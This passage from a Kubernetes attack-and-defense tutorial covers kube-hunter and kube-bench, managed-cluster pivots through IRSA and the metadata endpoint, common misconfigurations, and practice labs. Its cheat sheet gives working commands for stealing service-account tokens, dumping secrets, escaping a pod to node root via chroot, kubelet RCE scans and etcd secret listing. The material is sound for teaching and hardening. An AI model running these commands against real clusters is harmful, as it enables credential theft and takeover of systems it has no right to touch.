Nodes+-------------+---------------+| TYPE | LOCATION |+-------------+---------------+| Node/Master | 10.244.0.1 |+-------------+---------------+
Vulnerabilities+----------------+----------------------+----------------------------+| LOCATION | CATEGORY | VULNERABILITY |+----------------+----------------------+----------------------------+| 10.244.0.1:10250 | Remote Code Exec | Anonymous kubelet enabled || kubernetes.default | Access Risk | SA token mounted in pod || 10.244.0.1:6443 | Information Disc. | K8s version disclosure |+----------------+----------------------+----------------------------+--active enables exploitation checks (it will actually try the kubelet RCE) — only use it on ranges you own, and note it is intrusive.
10.2 kube-bench (defensive CIS audit)
Section titled “10.2 kube-bench (defensive CIS audit)”What it is: a Go tool (Aqua Security) that checks whether a node’s Kubernetes components are configured per the CIS Kubernetes Benchmark — the authoritative hardening checklist. It reads the actual flags on kube-apiserver, kubelet, etcd, and the config files, and grades each control PASS/FAIL/WARN with the exact remediation.
# Run as a Job so it can read the host's config fileskubectl apply -f https://raw.githubusercontent.com/aquasecurity/kube-bench/main/job.yamlkubectl logs -f job/kube-bench# Or directly on a node:kube-bench run --targets master,node,etcd,policiesRepresentative output:
[INFO] 1 Control Plane Security Configuration[PASS] 1.2.1 Ensure that the --anonymous-auth argument is set to false[FAIL] 1.2.16 Ensure that the --encryption-provider-config is set[WARN] 1.2.21 Ensure that the --audit-log-path argument is set...== Remediations ==1.2.16 Edit the API server pod spec /etc/kubernetes/manifests/kube-apiserver.yaml and set --encryption-provider-config=/etc/kubernetes/enc.yaml== Summary == 42 checks PASS, 6 FAIL, 9 WARNEach FAIL maps to a concrete flag fix. Running kube-bench, fixing FAILs, then re-running until the control-plane and node sections are clean is the fastest way to close the misconfigurations this chapter exploits.
| Tool | Side | What it answers |
|---|---|---|
| kube-hunter | Offense/recon | “What attack surface is exposed and exploitable?” |
| kube-bench | Defense/audit | “Which CIS hardening controls are failing?” |
| kubeletctl | Offense | “Can I exec/steal tokens via the kubelet?” |
kubectl auth can-i --list | Both | “What can this identity actually do?” |
| Falco + audit logs | Defense/detection | “Is an attack happening right now?” |
Part 11: Managed Clusters (EKS / GKE / AKS) Differences
Section titled “Part 11: Managed Clusters (EKS / GKE / AKS) Differences”Most real clusters are managed, which changes the attack surface in useful ways:
- The control plane is the provider’s problem. You cannot reach etcd or the raw API server flags; the API server is exposed as an HTTPS endpoint with cloud IAM/OIDC auth in front. So
--anonymous-authand etcd attacks are largely off the table — but RBAC, token theft, and pod-escape attacks are identical. - IRSA / Workload Identity blurs cluster and cloud identity. On EKS, a pod’s SA can be mapped to an AWS IAM role (IRSA); on GKE, to a GCP service account (Workload Identity); on AKS, to an Entra managed identity. Steal that pod’s token or hit its metadata path and you may pivot from the cluster straight into the cloud account. This is the highest-impact managed-cluster escalation — a compromised pod’s cloud role can often read S3/GCS buckets, other secrets, or assume further roles.
- The node IAM role is reachable at
169.254.169.254from any pod without IMDS restrictions. On EKS the node role can frequently pull ECR images and read some SSM parameters; worse if over-scoped. Blocking pod access to IMDS (or enforcing IMDSv2 with hop limit 1) is the key mitigation.
flowchart LR
P[Compromised pod] -->|mounted token| K[Cluster RBAC]
P -->|IRSA / Workload Identity| CloudRole[Cloud IAM role]
P -->|169.254.169.254| NodeRole[Node IAM role]
CloudRole --> Cloud[(S3 / secrets / other roles)]
NodeRole --> Cloud
Bug-bounty angle: on managed clusters, an app-level SSRF or RCE that lets you read the pod token or reach IMDS is a legitimate, frequently-rewarded finding — you demonstrate cluster or cloud pivot without ever touching the provider’s control plane.
Part 12: Common Mistakes & How to Avoid Them
Section titled “Part 12: Common Mistakes & How to Avoid Them”- Binding
cluster-admin“just to make it work.” CI systems, dashboards, and operators end up cluster-admin constantly. Scope them down and re-test. - Forgetting
automountServiceAccountToken: false. Every pod that doesn’t call the API server is handing attackers a free credential. Turn it off by default. - Leaving
pods/execorcreate podsin developer Roles. These are escalation primitives, not conveniences — pair them with strict PSA if unavoidable. - No admission control. Without PSA/OPA/Kyverno, a single
create podsgrant is node root. Enforcerestrictedwhere you can. - Secrets in etcd unencrypted. Base64 is not encryption. Enable encryption at rest and prefer external secret stores.
- Exposed kubelet or dashboard. Never expose 10250/10255 or the Kubernetes Dashboard without auth; the dashboard’s SA has historically been over-privileged.
- Treating anonymous-auth as harmless. It’s only harmless if RBAC grants
system:anonymous/system:unauthenticatednothing — verify withkubectl auth can-i --list --as=system:anonymous. - No audit log. If you aren’t logging API requests, you cannot detect any of the escalation paths in Part 6. Turn it on and alert on the Part 9.3 signals.
- NetworkPolicy left wide open. Default-allow lets a popped pod reach the API server, metadata, and every other pod. Default-deny and allowlist.
Part 13: Final Revision / Summary
Section titled “Part 13: Final Revision / Summary”- Kubernetes is one API server guarded by Authn → Authz (RBAC) → Admission. Everything is an object; every action is an authorized REST call.
- The four network doors: API server 6443, kubelet 10250/10255, etcd 2379, metadata 169.254.169.254.
- Pods run as ServiceAccounts; their token is mounted at
/var/run/secrets/kubernetes.io/serviceaccount/tokenand is the credential attackers steal first.automountServiceAccountToken: falsedenies it. - Enumerate any identity with
kubectl auth can-i --list(or the SelfSubjectRulesReview REST endpoint from inside a pod). - RBAC escalation primitives:
create pods(→ privileged/hostPath pod → node root),list secrets(→ steal stronger tokens),escalate/bind(→ self-grant cluster-admin),impersonate(→system:masters),pods/exec(→ exec into privileged pods). - Admission control (PSA
restricted, OPA/Gatekeeper, Kyverno) is the strongest single defense — it kills the pod-escape path outright. Audit logging + Falco is how you detect the rest. - kube-hunter finds exposed/exploitable surface (offense); kube-bench grades a node against the CIS Benchmark (defense); kubeletctl weaponises the kubelet.
- On managed clusters, the control plane is hardened for you, but RBAC, token theft, pod escape, and especially IRSA/Workload-Identity cloud pivots remain fully in play.
Part 14: Cheat Sheet / Quick Reference
Section titled “Part 14: Cheat Sheet / Quick Reference”Enumeration (from a compromised pod)
SA=/var/run/secrets/kubernetes.io/serviceaccountcat $SA/token ; cat $SA/namespace ; env | grep KUBERNETEScut -d. -f2 < $SA/token | base64 -d | jq . # decode the JWTkubectl auth can-i --list # my permissionskubectl auth can-i --list --as=system:anonymous # anonymous permissionsRecon with kubectl
kubectl get pods,secrets,serviceaccounts -Akubectl get clusterrolebindings -o wide | grep cluster-adminkubectl get pods -A -o json | jq -r '.items[]|select(.spec.containers[].securityContext.privileged==true)|.metadata.name'kubectl config view --raw # dump creds from a stolen kubeconfigEscalation snippets
kubectl auth can-i '*' '*' --as-group=system:masters # impersonation checkkubectl get secrets -A -o json | jq -r '.items[]|select(.type=="kubernetes.io/service-account-token")|.data.token|@base64d'kubectl apply -f evil-pod.yaml && kubectl exec -it pause-debug -- chroot /host sh # node rootkubelet / etcd
kubeletctl pods -s NODE_IP ; kubeletctl scan rce -s NODE_IP ; kubeletctl scan token -s NODE_IPcurl -sk https://NODE_IP:10250/podsETCDCTL_API=3 etcdctl --endpoints=https://127.0.0.1:2379 --cacert ... --cert ... --key ... get /registry/secrets --prefix --keys-onlyScanning / hardening
kubectl run kube-hunter --rm -it --image=aquasec/kube-hunter -- --pod # attacker's-eye scankubectl apply -f https://raw.githubusercontent.com/aquasecurity/kube-bench/main/job.yaml # CIS auditkubectl label ns dev pod-security.kubernetes.io/enforce=restricted # PSAKey ports: 6443 API · 10250/10255 kubelet · 2379/2380 etcd · 169.254.169.254 metadata
Token path: /var/run/secrets/kubernetes.io/serviceaccount/token
Dangerous verbs: create pods, pods/exec, list secrets, escalate, bind, impersonate
Part 15: Practice Labs & Resources
Section titled “Part 15: Practice Labs & Resources”Train each skill in this chapter on a range built for it:
- kube-goat (madhuakula/kubernetes-goat) — the definitive deliberately-vulnerable cluster. Scenarios map almost 1:1 to this chapter: sensitive-keys-in-code, SSRF to metadata, container escape, RBAC least-privilege, kubelet exploitation, and Secrets in etcd. Deploy on kind/minikube and work every scenario.
- CloudGoat (Rhino Security Labs) — the
ecs_takeoverand EKS scenarios cover the managed-cluster + IRSA cloud-pivot path from Part 11. - KubeCon / CTF challenges — the CNCF-adjacent “Kubernetes CTF” and Control Plane’s “Simulator” (
kubesim) drop you into broken clusters and score your escalation. - PortSwigger / HackTheBox / TryHackMe — HTB has several container/Kubernetes-themed boxes; TryHackMe’s “Kubernetes” and “Cloud” rooms cover token theft and RBAC. Search for kubelet-exploitation and RBAC-escalation rooms specifically.
- CIS Kubernetes Benchmark (cisecurity.org) — read it alongside a live kube-bench run; every FAIL you fix removes an attack from this chapter.
- flAWS / flAWS2 — cloud (not K8s) but excellent for the IMDS/metadata pivot mechanics that feed cluster-to-cloud escalation.
- Official docs to internalise: the Kubernetes RBAC docs, the Pod Security Standards page, and the “Securing a Cluster” task page — these are the authoritative source for every control in Part 9.
Practice the full chain end-to-end at least once on kube-goat: get a shell, read a token, enumerate with can-i --list, escalate via a misconfigured verb, escape a pod to the node, and read a cross-namespace Secret. Once that loop is muscle memory, you understand Kubernetes attack and defense at the level this chapter is aiming for. The next chapter moves outward again — to serverless, CI/CD and supply-chain attacks, where the compromise often begins in the pipeline that builds these very images.
Discussion
Questions, corrections, or something to add? Comment with your GitHub account.